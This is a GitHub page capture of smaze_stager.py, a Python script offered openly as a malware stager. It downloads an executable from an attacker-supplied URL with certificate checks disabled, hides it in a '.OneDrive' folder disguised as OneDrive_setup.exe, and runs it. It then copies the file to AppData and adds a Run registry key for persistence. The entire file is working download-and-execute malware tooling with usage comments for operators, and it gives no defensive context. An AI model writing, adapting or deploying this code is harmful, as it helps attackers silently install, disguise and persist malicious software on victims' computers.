-
Notifications
You must be signed in to change notification settings - Fork 3
/
smaze_stager.py
80 lines (65 loc) · 2.61 KB
/
smaze_stager.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# custom download and execute payload
# official github page > https://github.com/falkensmz/smazestager
import os
from subprocess import call
import requests
from time import sleep
import urllib3
import shutil
import sys
link = "" # input the link to the malware download page here (make sure that the url ends in something like ".exe")
sleep_before = 0 # input the amount of time smaze_stager will sleep until it downloads the malware (in seconds) ; leave default of '0' for nothing
sleep_after = 0 # input the amount of time smaze_stager will sleep after it downloads the malware,until it executes it (in seconds) ; leave default of '0' for nothing
urllib3.disable_warnings()
def getUsername():
try:
username = os.getlogin()
except Exception as e:
username = "None"
return username
username = getUsername()
def createMalwareDropLocation():
try:
directory = ".OneDrive"
parent_directory = fr"C:\Users\{username}"
path = os.path.join(parent_directory, directory)
os.mkdir(path)
except Exception as e:
exit()
def download():
try:
path = fr'C:\Users\{username}\.OneDrive'
r = requests.get(link, allow_redirects=True, verify=False)
open(fr"{path}\OneDrive_setup.exe", 'wb').write(r.content)
except Exception as e:
exit()
def runMalware():
try:
path = fr'C:\Users\{username}\.OneDrive'
sleep(sleep_after)
os.chdir(path)
os.system("OneDrive_setup.exe")
sleep(25) # you can modify this to whatever you want
except Exception as e:
exit()
def establishPersistence(): # this function will make your malware persistent. note that if your malware is programmed to do the same thing, I suggest commenting this function out
try:
persistent_malware_location = os.environ["appdata"] + "\\Microsoft_OneDrive.exe"
if not os.path.exists(persistent_malware_location):
shutil.copyfile(fr'C:\Users\{username}\.OneDrive\OneDrive_setup.exe', persistent_malware_location)
call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Microsoft_OneDrive /t REG_SZ /d "' + persistent_malware_location + '"', shell=True)
else:
# persistence for the executable has already been established, thus the program will exit
exit()
except Exception as e:
exit()
def afterMath():
getUsername()
sleep(sleep_before)
createMalwareDropLocation()
download()
runMalware()
establishPersistence()
afterMath()
# thank you for using smaze_stager
# ~ falkensmz